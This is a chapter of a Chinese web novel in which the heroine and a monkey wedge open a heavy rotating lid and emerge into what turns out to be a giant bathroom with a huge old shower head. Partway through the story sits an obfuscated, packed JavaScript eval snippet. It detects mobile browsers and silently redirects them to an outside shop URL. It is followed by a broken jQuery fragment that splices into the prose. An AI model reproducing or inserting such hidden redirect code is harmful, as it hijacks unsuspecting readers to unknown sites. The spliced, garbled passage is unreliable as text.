程羽见过这种旋转阀门。
在一些要求极高水密性的船舱里,尤其是那些色调冷硬的深海纪录片中,舰艇内部许多舱门上会装载类似的结构。厚重的合金门正依靠这种机械关系,才能做到近乎绝对的严密。
要打开它们,既需要特别的技巧,也需要足够的力气。
但头顶的这块边缘透光,看上去没有关死,这就很诱人了。
外头是什么?
程羽不知道,反正她要上去。
先仰头估量,有点高度,但跳起来还是能够着的。
猴子蹲在旁边,“呸”个没完。其实程羽可以理解它的嫌弃,这里四周勉强能算作光滑,但和干净没关系,表层的灰褐色污垢有数厘米厚,大概是在潮湿环境中发酵经年的腐殖层。
温度低的时候无所谓,热起来就黏黏糊糊的,踩下去的那种软塌塌触感让人恶心得很,还有种隐约的臭味,让人联想起关掉排风系统的小型体育训练室,放着臭鞋和没干的抹布那种。
其实丛林里到处都是这样的腐殖质。程羽虽习惯,但习惯和喜欢差太多了,她就是一头撞死,也不会说喜欢,太变态了。
若不是她脚上还裹着那双叶片做的鞋,表情未必能比猴子好上多少。
还是快点出去吧。
她深吸一口气,后退几步,脚底在湿滑的壁面上试了试力,随即猛地向前助跑,借力一跃。整个人向上弹起的同时,手肘狠狠朝头顶的盖子顶去——
比她预想中轻。
随着一道令人磨牙的“吱呀”声,受力的这一侧向上掀起,白光顿时倾泻下来,亮得什么也看不清。
不过并没有预想中骨头撞上铁板的剧痛,这金属板厚得吓人,也沉,使了全身力气撞就顶开这些,但不硬,包了层海绵似的,程羽一直仰着头,看被撞得抬起一个斜角的井盖一样的门,甚至发现上面有坑坑洼洼的凹槽,不知道有没有一个是自己撞出来的。
只是也没有就此干脆地让出出口。
它仅仅在半空中停顿了短短一瞬,便又重新砸了回来。
冰冷的金属边缘擦着程羽的额角掠过,带起的一股风将她额前的碎发都掀了起来。
还好只是借力碰到,没有半点滞空的余地,整个人早已顺着反震之力往下坠去,这一下恐怕就不是惊险,而是脑袋当场被拍碎的下场。
她落回坡底,胸口猛地一震,后知后觉心跳在胸腔里擂鼓狂响。
而头顶那块圆形金属的另一端则像杠杆似的翘起,漏出一道狭长的光,随后又来回摆动了几下,才重新滑回原先的位置,虚虚掩住这个洞口。
猴子“吱吱”叫了两声,也不知是在表达对她的担忧,还是纯粹看热闹看得起劲。
程羽用手肘撑着壁面,缓了两口气,没急着立刻再试,而是继续仰头观察。
这东西有点像洗手盆里常见的那种旋盖,只不过被放大了无数倍。受力时,它会绕着中轴偏转;一旦力道撤去,便在自身重量和某种回位结构的牵引下,重新滑回原位。
好消息,能转就能开。
坏消息,自重作用下回转太快,根本不给人钻出去的时间。
程羽盯着那一圈细光,浅浅皱眉。
既然会转,就一定有转轴,有摩擦,甚至有凹槽。只要是活动的结构,就不可能永远完美。更何况它现在自然状态下,盖都盖不严实,八成已经松了。
通道壁上的积灰也许正是原因之一。
她抬手往上,抹了一指尖脏东西。
忽略令人作呕的感觉,是能在滑腻之中分辨出其中混着细小而粗砺的颗粒,有点像沙子,也像是稻壳,反正很怪。
猴子见她沾了一手脏东西,立刻捏着鼻子似的蹦出去老远,摆明了不可指望。
程羽没管它,心中一动,沿着坡面往上爬了些,尽可能伸长手臂,去够那块金属盖板的边缘。
果然,同样是一圈厚厚的积灰,混着半凝固的黏着脏污。隐约可以摸到一圈凹槽,里面塞满了更干更硬的陈年脏物,比外头的更加紧实,非有反复挤压不能做到如此。
如果将这些脏东西都往这凹槽里头挤,盖子还能顺畅地转动吗?
程羽想试一试。
她退回坡底,重新调整呼吸。脑中迅速将路线演算了一遍,随即抬手、起步、借力、撞上去——
砰!
金属盖偏转,白光一闪,旋即又沉沉滑落。
程羽已经提前落地避开,背脊在井壁上一撑,立刻借力再次往上扑,比上次更急更用力。
耳边传来一阵细微而刺耳的碾磨声。
程羽眼神一亮,连气都没来得及喘匀,第三次扑了上去。
沉重的圆盖在数次撞击下反复掀开又回落,时明时暗的白光照亮通道,也照亮了边缝里簌簌掉落的灰尘。
它回转的速度明显有所变慢。
程羽继续跃起撞击。
猴子看傻了眼,甚至做出了用爪子揉眼睛这样的动作,程羽无暇顾及。
因为圆盖再次抬起,缓慢回落,就在它将要归位的瞬间,不正常地一滞。
“咔。”
声音短促而沉闷,刚入耳,程羽就已经扑了上去。
她的双手一起攀住通道外沿,整个人靠臂力悬挂,圆盖卡在半空中,只留出大概半个身位的缝隙,天知道那些污垢可以将它卡在这儿多久,也许随时都可能继续回转,把她连手带人一起夹成饼干。
同时也在往下掉。
程羽立刻意识到自己的着力点不算理想。
扒掉一层灰,金属边缘磨过掌心,火辣辣地疼,摩擦却依旧不够。她只能死死咬住牙,膝盖顶住井壁,双脚在滑腻的坡面上蹬出两道深深的灰痕,拼命将身体往上送。
可人倒霉的时候就是这样,连喘口气都嫌不顺。
迟钝的金属碾压声拉的又低又长,不用看,圆盖的重力正渐渐压过那点可怜的阻滞,头顶的黑影又一次缓慢罩下来,缝隙正在一点点缩小。
程羽能听见自己的心跳。
她的手也在往下滑。
要放弃吗?
现在松手跳下去,还来得及。至少还能保全双手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557999|202163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就在这时,猴子突然尖叫一声,顺着坡壁窜了上来,几步踩过程羽的背和肩,轻得像一阵风。
程羽被它踩得微微一沉,一句脏话即将出口,这家伙已经跳了上去,程羽只能看见它翘起的尾巴,然后这家伙背对着她,做了个扒拉的动作。
天知道这家伙在扒拉什么。
程羽只感到一片灰蒙蒙的东西扬了过来,还没开始咳嗽,眼前闪过一道金光。
是她那根棍子。
猴子竟不知什么时候把它从她背后抽了出来,此刻丟还回来,竟是将其稳稳当当斜塞进圆盖与通道口之间。
好准头!
可是。
这东西不是木头来的吗?!
程羽眼睁睁看着那根轻飘飘的棍子牢牢楔进去,没想到它虽颤抖了几下,有些微妙的弯曲,但却韧性惊人,结合金色的表象,倒真像根货真价实的贵金属权杖。
“当”的一声,杖身竟硬生生把回转的势头卡住,圆盖猛地一震,停在原处。
细碎尘土扑簌簌落了程羽满头满脸。
她连抹一把脸的工夫都没有,立刻趁机蹬住井壁,双手攀着边缘往上爬。
可缝隙仍旧狭窄,边缘也依然滑腻,动作并不顺利。
猴子探头过来,尾巴凑在耳边,鼻孔动动,发出的声调上扬,充满质疑的味道。
指望这家伙能伸出援手?程羽暗自翻个白眼,深吸一口气,脚底狠狠干蹬井壁,整个人往上一翻,终于扑腾了出去。
眼前骤然大亮,刺得她本能地偏头闭眼,在地上胡乱打了两个滚。
重重喘了口气,才撑着地面,慢慢抬起头。
映入眼帘的,是一片大得惊人的灰白色世界。
脚下的地面虽然平坦,但无论往哪个方向,都有有骤然拔高的白色山崖,四面一般高,将这个大约是长方形的盆地围得严严实实,她就站在正中间。
而这片单调灰白之中,唯一突兀的异色,就在离她不远的地方。
那是一道斜斜横卧着的巨大金属物。
程羽还真认识这玩意。
是个,她半带嫌弃半带狐疑地抽了抽嘴角,旧花洒。
只是大得实在夸张,即便横躺,也有两三个程羽高,喷口那密密麻麻的小孔对着她,像一只巨大的金属莲蓬,又像什么复眼密集的虫子脑袋。灰白色的水垢淤积明显,孔洞堵了不少,剩下的也或多或少生着深浅不一的锈。
老旧得,再放两年能成化石了。
再往它的一端看去,铁灰色螺旋线的铁管与之相连,半截拖在地面上,弯曲打结,有一段就挨着程羽钻上来的洞口,大概是猴子先前扒拉的位置,还有更长的部分一路蜿蜒向上,贴着一侧的白色巨壁攀去。
程羽顺着它的去向抬头,踮起脚,眯着眼望向它的尽头。
在遥远的好像在另一个世界的位置,白色山崖的顶端,有一片铁灰色的轮廓。
好像,是个水龙头啊?
她睁大了眼。
又回头看看这无疑就是个大花洒的玩意,不可置信地环顾四周。